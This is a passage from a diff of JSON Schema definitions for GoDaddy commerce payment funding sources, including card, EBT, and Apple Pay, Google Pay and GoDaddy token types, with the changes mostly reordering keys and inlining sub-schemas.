Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", - "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" - } - }, - "required": [ - "interacMac", - "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - }, - "required": [ - "type", - "number", - "source" - ] - }, - "cardVerificationData": { - "writeOnly": true, - "description": "Verification data that can be used to verify the customer information", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" }, - "line2": { + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" + } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", "type": "string", - "description": "Address line 2" + "writeOnly": true }, - "city": { - "type": "string", - "description": "City" + "lastName": { + "description": "Last name of card holder", + "type": "string" }, - "territory": { + "number": { + "description": "Card number", + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", "type": "string", - "description": "Territory" + "writeOnly": true }, - "territoryType": { + "serviceCode": { + "description": "Track data read from card", "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", "enum": [ - "STATE", - "PROVINCE", - "OTHER" + "DIRECT", + "APPLE_PAY", + "GOOGLE_PAY" ], - "description": "Territory type" + "type": "string" }, - "country": { + "track1Data": { + "description": "Card track 1 data", "type": "string", - "description": "Country" + "writeOnly": true }, - "postalCode": { + "track2Data": { + "description": "Card track 2 data", "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" + "writeOnly": true }, - "cryptogram": { + "track3Data": { + "description": "Card track 3 data", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER" + ], "type": "string" } - } - } - } - }, - "processingInstruction": { - "writeOnly": true, - "description": "Processing instruction to use this funding source", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/card-processing-instruction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processing Instruction", - "type": "object", - "properties": { - "signatureRequired": { - "type": "boolean", - "default": false, - "description": "If signature is required for this transaction" - }, - "debit": { - "type": "boolean", - "default": false, - "description": "If card should be processed as debit or not" - } - } - } - }, - "required": [ - "cardDetail" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/ebt-card.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "EBT Card", - "type": "object", - "properties": { - "cardDetail": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", - "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER" + }, + "required": [ + "type", + "number", + "source" ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 1 data" - }, - "track2Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 2 data" - }, - "track3Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 3 data" - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" + "title": "Card Detail", + "type": "object" }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", "writeOnly": true }, - "entryMethod": { + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] + "writeOnly": true }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } - } - }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", - "properties": { - "interacMac": { + "cvData": { + "description": "CVV information typically at the back of the card.", "type": "string", - "description": "Interac mac details for canada based cards" + "writeOnly": true }, - "interacMacKSN": { + "cvSkipReason": { + "description": "CVV skipped because of this reason.", "type": "string", - "description": "Interac mac key serial number for canada based cards" + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true } }, - "required": [ - "interacMac", - "interacMacKSN" - ] + "title": "Card VerificationData", + "type": "object" }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "processingInstruction": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/card-processing-instruction.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "properties": { + "debit": { + "default": false, + "description": "If card should be processed as debit or not", + "type": "boolean" + }, + "signatureRequired": { + "default": false, + "description": "If signature is required for this transaction", + "type": "boolean" + } + }, + "title": "Card Processing Instruction", + "type": "object" } }, "required": [ - "type", - "number", - "source" - ] + "cardDetail" + ], + "title": "Payment Card", + "type": "object" }, - "cardVerificationData": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/ebt-card.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", "properties": { - "line1": { + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true + } + }, + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" + } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", "type": "string", - "description": "Address line 1" + "writeOnly": true }, - "line2": { + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", "type": "string", - "description": "Address line 2" + "writeOnly": true }, - "city": { + "serviceCode": { + "description": "Track data read from card", "type": "string", - "description": "City" + "writeOnly": true }, - "territory": { + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1Data": { + "description": "Card track 1 data", + "type": "string", + "writeOnly": true + }, + "track2Data": { + "description": "Card track 2 data", "type": "string", - "description": "Territory" + "writeOnly": true }, - "territoryType": { + "track3Data": { + "description": "Card track 3 data", "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", "enum": [ - "STATE", - "PROVINCE", - "OTHER" + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER" + ], + "type": "string" + } + }, + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" + }, + "cardType": { + "enum": [ + "FOOD_STAMP", + "CASH_BENEFIT", + "ELECTRONIC_VOUCHER" + ], + "type": "string" + }, + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" ], - "description": "Territory type" + "title": "Address", + "type": "object" }, - "country": { + "cardPin": { + "description": "Card pin block.", "type": "string", - "description": "Country" + "writeOnly": true }, - "postalCode": { + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", "type": "string", - "description": "Postal Code" + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true } }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "title": "Card VerificationData", + "type": "object" }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } + "eVoucherApprovalCode": { + "type": "string" + }, + "eVoucherSerial": { + "type": "string" } - } - }, - "cardType": { - "type": "string", - "enum": [ - "FOOD_STAMP", - "CASH_BENEFIT", - "ELECTRONIC_VOUCHER" - ] - }, - "eVoucherSerial": { - "type": "string" + }, + "required": [ + "cardDetail", + "cardType" + ], + "title": "EBT Card", + "type": "object" }, - "eVoucherApprovalCode": { - "type": "string" - } - }, - "required": [ - "cardDetail", - "cardType" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/gdpayment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GoDaddy PaymentToken", - "type": "object", - "allOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/gdpayment-token.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", "properties": { - "line1": { - "type": "string", - "description": "Address line 1" + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" }, - "line2": { + "cardPin": { + "description": "Card pin block.", "type": "string", - "description": "Address line 2" + "writeOnly": true }, - "city": { + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", "type": "string", - "description": "City" + "writeOnly": true }, - "territory": { + "cvData": { + "description": "CVV information typically at the back of the card.", "type": "string", - "description": "Territory" + "writeOnly": true }, - "territoryType": { + "cvSkipReason": { + "description": "CVV skipped because of this reason.", "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } + }, + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Godaddy Payment token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "GoDaddy PaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/applepay-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" ], - "description": "Territory type" + "title": "Address", + "type": "object" }, - "country": { + "cardPin": { + "description": "Card pin block.", "type": "string", - "description": "Country" + "writeOnly": true }, - "postalCode": { + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", "type": "string", - "description": "Postal Code" + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true } }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "title": "Card VerificationData", + "type": "object" }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", "properties": { - "eci": { - "type": "string" + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } + }, + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Apple pay token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "ApplePayPaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/google-pay-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { + "cardPin": { + "description": "Card pin block.", "type": "string", - "description": "Address line 1" + "writeOnly": true }, - "line2": { + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", "type": "string", - "description": "Address line 2" + "writeOnly": true }, - "city": { + "cvData": { + "description": "CVV information typically at the back of the card.", "type": "string", - "description": "City" + "writeOnly": true }, - "territory": { + "cvSkipReason": { + "description": "CVV skipped because of this reason.", "type": "string", - "description": "Territory" + "writeOnly": true }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" + "title": "Address", + "type": "object" } }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "title": "Token VerificationData", + "type": "object" } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" } }, - "required": [ - "type" - ] + "title": "PaymentTokenFundingSource", + "type": "object" } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Godaddy Payment token", - "writeOnly": true - } - }, - "required": [ - "token" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/applepay-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ApplePayPaymentToken", - "type": "object", - "allOf": [ + ], + "properties": { + "token": { + "description": "Google pay token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "GooglePayPaymentToken", + "type": "object" + }, { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/paypal-token.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - 